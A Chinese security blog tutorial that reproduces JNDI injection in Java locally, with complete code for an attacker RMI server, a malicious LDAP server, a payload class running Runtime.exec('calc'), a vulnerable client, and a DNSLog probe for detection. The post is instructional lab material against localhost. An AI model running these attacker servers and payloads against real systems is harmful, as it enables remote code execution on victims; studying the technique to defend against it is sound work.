Java反序列化漏洞之JNDI注入原理及利用IDEA漏洞复现

admin 2024年11月29日14:40:45评论8 views字数 9465阅读31分33秒阅读模式

扫码领资料

获网安教程

Java反序列化漏洞之JNDI注入原理及利用IDEA漏洞复现
Java反序列化漏洞之JNDI注入原理及利用IDEA漏洞复现

网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

Java反序列化漏洞之JNDI注入原理及利用IDEA漏洞复现
0x1 前言

本篇文章我也是看过很多的博客写的,中间也遇到很多问题,JNDI注入漏洞的危害还是蛮高的。下面我们从RMI以及DNS协议进行详细的漏洞分析,其中漏洞的危害原因主要是lookup()函数可控,可以执行恶意的命令,从而造成恶意攻击。

Java反序列化漏洞之JNDI注入原理及利用IDEA漏洞复现
0x2 JNDI简介

JNDI(Java Naming and Directory Interface)是一个应用程序设计的 API,一种标准的 Java 命名系统接口。JNDI 提供统一的客户端 API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录系统,使得 Java 应用程序可以和这些命名服务和目录服务之间进行交互。

上面较官方说法,通俗的说就是若程序定义了 JDNI 中的接口,则就可以通过该接口 API 访问系统的 命令服务目录服务,如下图:

Java反序列化漏洞之JNDI注入原理及利用IDEA漏洞复现

协议

作用

RMI

JAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象

DNS

域名服务

CORBA

公共对象请求代理体系结构

Java反序列化漏洞之JNDI注入原理及利用IDEA漏洞复现
0x3 JNDI注入

JNDI 注入,即当开发者在定义 JNDI 接口初始化时,lookup() 方法的参数可控,攻击者就可以将恶意的 url 传入参数远程加载恶意载荷,造成注入攻击。

代码示例:

代码中定义了 uri 变量,uri 变量可控,并定义了一个 rmi 协议服务, rmi://127.0.0.1:1099/Exploit 为攻击者控制的链接,最后使用 lookup() 函数进行远程获取 Exploit 类(Exploit 类名为攻击者定义,不唯一),并执行它。

packagecom.rmi.demo;importjavax.naming.InitialContext;importjavax.naming.NamingException;publicclassjndi {          publicstaticvoidmain(String[] args)throwsNamingException {          Stringuri="rmi://127.0.0.1:1099/Exploit";// 指定查找的 uri 变量          InitialContextinitialContext=newInitialContext();// 得到初始目录环境的一个引用          initialContext.lookup(uri);// 获取指定的远程对象          }          }

具体攻击流程图:

Java反序列化漏洞之JNDI注入原理及利用IDEA漏洞复现

JNDI 注入对 JAVA 版本有相应的限制,具体可利用版本如下:

协议

JDK6

JDK7

JDK8

JDK11

LADP

6u211以下

7u201以下

8u191以下

11.0.1以下

RMI

6u132以下

7u122以下

8u113以下

Java反序列化漏洞之JNDI注入原理及利用IDEA漏洞复现
0x4 JNDI注入漏洞复习

JNDI+RMI

1、基础环境

我们这里使用IDEA进行JNDI注入漏洞的复现,我们需要先下载JDK的环境,JDK7,8都可以,选择下载自己电脑的版本,因为我的电脑一直都是JDK8的 环境,所以就不下载演示了。

https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html#license-lightbox书签:https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html#license-lightbox

Java反序列化漏洞之JNDI注入原理及利用IDEA漏洞复现

判断自己的JDK环境版本

Java反序列化漏洞之JNDI注入原理及利用IDEA漏洞复现

1、首先 IDEA 新建一个项目

Java反序列化漏洞之JNDI注入原理及利用IDEA漏洞复现

maven一下,然后我这里的项目名称是:jndi_injection_demon,其中这里要注意的就是JDK的环境,选择我们开始下载的JDK环境即可。

Java反序列化漏洞之JNDI注入原理及利用IDEA漏洞复现

2、在 /src/java 目录下创建一个包,我这里创建的包的名字是:jndi_rmi_injection

Java反序列化漏洞之JNDI注入原理及利用IDEA漏洞复现

Java反序列化漏洞之JNDI注入原理及利用IDEA漏洞复现

3、在创建的jndi_rmi_injection包里面,创建RMI 的服务端和客户端。

服务端(RMIServer.java)

packagejndi_rmi_injection;importjava.rmi.registry.LocateRegistry;importjava.rmi.registry.Registry;importjavax.naming.Reference;importcom.sun.jndi.rmi.registry.ReferenceWrapper;publicclassRMIServer {          publicstaticvoidmain(String[] args)throwsException{          Registryregistry=LocateRegistry.createRegistry(7778);Referencereference=newReference("Calculator","Calculator","http://127.0.0.1:8081/");ReferenceWrapperwrapper=newReferenceWrapper(reference);registry.bind("RCE",wrapper);}          }

Ada

客户端(RMIClient.java) 客户端也是受害者

packagejndi_rmi_injection;importjavax.naming.InitialContext;importjavax.naming.NamingException;publicclassRMIClient {          publicstaticvoidmain(String[] args)throwsNamingException{          Stringuri="rmi://127.0.0.1:7778/RCE";InitialContextinitialContext=newInitialContext();initialContext.lookup(uri);}          }

Ada

Java反序列化漏洞之JNDI注入原理及利用IDEA漏洞复现

HTTP 端恶意载荷(Calculator.java)代码

我们为了形象地演示出恶意命令被执行的样子,我们这里用弹出计算器来演示。其中windows的把cmd命令改成calc,如果是linux的话,改成gnome-calculator就可以了

publicclassCalculator {          publicCalculator()throwsException {          Runtime.getRuntime().exec("calc");}          }

Java反序列化漏洞之JNDI注入原理及利用IDEA漏洞复现

2、启动服务

1、将 HTTP 端恶意载荷 Calculator.java,编译成 Calculator.class 文件

Java反序列化漏洞之JNDI注入原理及利用IDEA漏洞复现

Java反序列化漏洞之JNDI注入原理及利用IDEA漏洞复现

2、在 Calculator.class 目录下利用 Python 起一个临时的 WEB 服务放置恶意载荷,这里的端口必须要与 RMIServer.java 的 Reference 里面的链接端口一致

python-mhttp.server8081

Java反序列化漏洞之JNDI注入原理及利用IDEA漏洞复现

3、IDEA 将漏洞环境启动起来并实现攻击,顺序为先运行服务端,再起客户端

服务端启动:

Java反序列化漏洞之JNDI注入原理及利用IDEA漏洞复现

客户端启动:

Java反序列化漏洞之JNDI注入原理及利用IDEA漏洞复现

发现当我们把客户端也给启动后,计算器就跳出来了,说明cmd恶意命令已经执行成功了!

3、代码详解

InitialContext类

RMIClient.java代码分析

packagejndi_rmi_injection;importjavax.naming.InitialContext;importjavax.naming.NamingException;publicclassRMIClient {          publicstaticvoidmain(String[] args)throwsNamingException{          Stringuri="dns://y9p1pr.dnslog.cn";InitialContextinitialContext=newInitialContext();initialContext.lookup(uri);}          }

InitialContext 类用于读取 JNDI 的一些配置信息,内含对象和其在 JNDI 中的注册名称的映射信息

我们这里直接找InitialContext 类的相关包,按住 ctrl + B 快捷键,就会看到下面的这个包,发现InitialContext 类继承了一个接口,我们再ctrl + B 快捷键,查看下Context接口

Java反序列化漏洞之JNDI注入原理及利用IDEA漏洞复现

我们可以看到lookup(String name) 获取 name 的数据,也就是客户端代码中的uri,这里的 uri 被定义为 rmi://127.0.0.1:7778/RCE 所以会通过 rmi 协议访问 127.0.0.1:7778/RCE

Java反序列化漏洞之JNDI注入原理及利用IDEA漏洞复现

Reference 类

RMIServer.java代码分析

packagejndi_rmi_injection;importjava.rmi.registry.LocateRegistry;importjava.rmi.registry.Registry;importjavax.naming.Reference;importcom.sun.jndi.rmi.registry.ReferenceWrapper;publicclassRMIServer {          publicstaticvoidmain(String[] args)throwsException{          Registryregistry=LocateRegistry.createRegistry(7778);Referencereference=newReference("Calculator","Calculator","http://127.0.0.1:8081/");ReferenceWrapperwrapper=newReferenceWrapper(reference);registry.bind("RCE",wrapper);}          }

reference 指定了一个 Calculator 类,于远程的 http://127.0.0.1:8081/ 服务端上,等待客户端的调用并实例化执行。

Referencereference=newReference("Calculator","Calculator","http://127.0.0.1:8081/");

Java反序列化漏洞之JNDI注入原理及利用IDEA漏洞复现

JNDI+LDAP

1、基础环境

1、我们先在java目录下新建一个jndi_ldap_injection包

Java反序列化漏洞之JNDI注入原理及利用IDEA漏洞复现

2、攻击者搭建LDAP服务器,需要导入unboundid依赖库。

在本项目根目录下创建/lib目录,用于放置本地依赖库,点击下载 unboundid-ldapsdk-3.2.0.jar,导入依赖即可,

Java反序列化漏洞之JNDI注入原理及利用IDEA漏洞复现

Java反序列化漏洞之JNDI注入原理及利用IDEA漏洞复现

Java反序列化漏洞之JNDI注入原理及利用IDEA漏洞复现

3、创建LDAP的服务端和客户端的代码

LDAPServer.java 服务端代码,服务端是攻击者控制的服务器。

packagejndi_ldap_injection;importjava.net.InetAddress;importjava.net.MalformedURLException;importjava.net.URL;importjavax.net.ServerSocketFactory;importjavax.net.SocketFactory;importjavax.net.ssl.SSLSocketFactory;importcom.unboundid.ldap.listener.InMemoryDirectoryServer;importcom.unboundid.ldap.listener.InMemoryDirectoryServerConfig;importcom.unboundid.ldap.listener.InMemoryListenerConfig;importcom.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;importcom.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;importcom.unboundid.ldap.sdk.Entry;importcom.unboundid.ldap.sdk.LDAPException;importcom.unboundid.ldap.sdk.LDAPResult;importcom.unboundid.ldap.sdk.ResultCode;publicclassLDAPServer {          privatestaticfinalStringLDAP_BASE="dc=example,dc=com";publicstaticvoidmain(String[] args) {          Stringurl="http://127.0.0.1:8081/#Calculator";intport=1234;try {          InMemoryDirectoryServerConfigconfig=newInMemoryDirectoryServerConfig(LDAP_BASE);config.setListenerConfigs(newInMemoryListenerConfig("listen",          InetAddress.getByName("0.0.0.0"),port,          ServerSocketFactory.getDefault(),SocketFactory.getDefault(),(SSLSocketFactory)SSLSocketFactory.getDefault()));config.addInMemoryOperationInterceptor(newOperationInterceptor(newURL(url)));InMemoryDirectoryServerds=newInMemoryDirectoryServer(config);System.out.println("Listening on 0.0.0.0:"+port);ds.startListening();}          catch(Exceptione) {          e.printStackTrace();}          }          privatestaticclassOperationInterceptorextendsInMemoryOperationInterceptor {          privateURLcodebase;/****/publicOperationInterceptor(URLcb) {          this.codebase=cb;}          /*** {@inheritDoc}          ** @seecom.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)*/@OverridepublicvoidprocessSearchResult(InMemoryInterceptedSearchResultresult) {          Stringbase=result.getRequest().getBaseDN();Entrye=newEntry(base);try {          sendResult(result, base, e);}          catch(Exceptione1) {          e1.printStackTrace();}          }          protectedvoidsendResult(InMemoryInterceptedSearchResultresult, Stringbase, Entrye)throwsLDAPException, MalformedURLException {          URLturl=newURL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));System.out.println("Send LDAP reference result for "+base+" redirecting to "+turl);e.addAttribute("javaClassName", "Exploit");Stringcbstring=this.codebase.toString();intrefPos=cbstring.indexOf('#');if(refPos>0) {          cbstring=cbstring.substring(0, refPos);}          e.addAttribute("javaCodeBase", cbstring);e.addAttribute("objectClass", "javaNamingReference");e.addAttribute("javaFactory", this.codebase.getRef());result.sendSearchEntry(e);result.setResult(newLDAPResult(0, ResultCode.SUCCESS));}          }          }

客户端(LDAPClient.java)代码,客户端代表存在漏洞的受害端。

packagejndi_ldap_injection;importjavax.naming.InitialContext;importjavax.naming.NamingException;publicclassLDAPClient {          publicstaticvoidmain(String[] args)throwsNamingException{          Stringurl="ldap://127.0.0.1:1234/Calculator";InitialContextinitialContext=newInitialContext();initialContext.lookup(url);}          }

Java反序列化漏洞之JNDI注入原理及利用IDEA漏洞复现

3、HTTP 端恶意载荷(Calculator.java)代码,跟rmi的恶意载荷一样

publicclassCalculator {          publicCalculator()throwsException {          Runtime.getRuntime().exec("calc");}          }

2、启动环境

1、将 HTTP 端恶意载荷 Calculator.java,编译成 Calculator.class 文件

Java反序列化漏洞之JNDI注入原理及利用IDEA漏洞复现

Java反序列化漏洞之JNDI注入原理及利用IDEA漏洞复现

2、在 Calculator.class 目录下利用 Python 起一个临时的 WEB 服务放置恶意载荷,这里的端口必须要与 RMIServer.java 的 Reference 里面的链接端口一致

python-mhttp.server8081da

Java反序列化漏洞之JNDI注入原理及利用IDEA漏洞复现

3、IDEA 将漏洞环境启动起来并实现弹窗,顺序为先其服务端,再起客户端 ,跟rmi一样我就不一一演示了

Java反序列化漏洞之JNDI注入原理及利用IDEA漏洞复现

JNDI+DNS

通过上面我们可知 JNDI 注入可以利用 RMI 协议和LDAP 协议搭建服务然后执行命令,但有个不好的点就是会暴露自己的服务器 IP 。在没有确定存在漏洞前,直接在直接服务器上使用 RMI 或者 LDAP 去执行命令,通过日志可分析得到攻击者的服务器 IP,这样在没有获取成果的前提下还暴露了自己的服务器 IP,得不偿失。

为了解决这个问题,可以使用DNS 协议进行探测,通过 DNS 协议去探测是否真的存在漏洞,再去利用 RMI 或者 LDAP 去执行命令,避免过早暴露服务器 IP,这也是平常大多数人习惯使用 DNSLog 探测的原因之一,同样的 ldap 和 rmi 也可以使用 DNSLog 平台去探测。

我们使用RMI的客户端的漏洞代码即可,只需要把可变量uri修改成DNSlog网站的地址即可

packagejndi_rmi_injection;importjavax.naming.InitialContext;importjavax.naming.NamingException;publicclassRMIClient {          publicstaticvoidmain(String[] args)throwsNamingException{          Stringuri="dns://y9p1pr.dnslog.cn";InitialContextinitialContext=newInitialContext();initialContext.lookup(uri);}          }

然后运行RMI的客户端,再Refresh Record刷新记录,就可以看到有记录,那么就说明存在JNDI注入漏洞。

Java反序列化漏洞之JNDI注入原理及利用IDEA漏洞复现

Java反序列化漏洞之JNDI注入原理及利用IDEA漏洞复现
0x5 总结

我们在测试JNDI注入的时候,可以使用DNS协议的测试方法,利用dnslog网站的返回值,来判断是否存在JNDI注入。

JNDI漏洞的产生主要是 lookup() 的参数可控,攻击者在远程服务器上构造恶意的 Reference 类绑定在 RMIServerRegistry 里面,然后客户端调用 lookup() 函数里面的对象,远程类获取到 Reference 对象,客户端接收 Reference 对象后,寻找 Reference 中指定的类,若查找不到,则会在 Reference 中指定的远程地址去进行请求,请求到远程的类后会在本地进行执行,从而达到 JNDI 注入攻击。

Java反序列化漏洞之JNDI注入原理及利用IDEA漏洞复现
0x6 参考链接

1https://xz.aliyun.com/t/12277?time__1311=mqmhD5YIOhOD%2FD0lbGkb28MDj2C%2BbeD&alichlgref=https%3A%2F%2Fwww.google.com%2F#toc-102https://www.cnblogs.com/LittleHann/p/17768907.html#_lab2_2_1          3https://www.cnblogs.com/0dot7/p/17259327.html

Java反序列化漏洞之JNDI注入原理及利用IDEA漏洞复现

内部圈子介绍

Java反序列化漏洞之JNDI注入原理及利用IDEA漏洞复现

圈子专注于更新src相关:

1、维护更新src专项漏洞知识库,包含原理、挖掘技巧、实战案例2、分享src优质视频课程3、分享src挖掘技巧tips4、微信小群一起挖洞5、不定期有众测、渗透测试项目

申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

Java反序列化漏洞之JNDI注入原理及利用IDEA漏洞复现
欢迎加入星球一起交流,券后价仅40元!!! 即将满150人涨价
长期更新,更多的0day/1day漏洞POC/EXP

原文始发于微信公众号(神农Sec):Java反序列化漏洞之JNDI注入原理及利用IDEA漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月29日14:40:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Java反序列化漏洞之JNDI注入原理及利用IDEA漏洞复现https://cn-sec.com/archives/3448958.html

发表评论

匿名网友 填写信息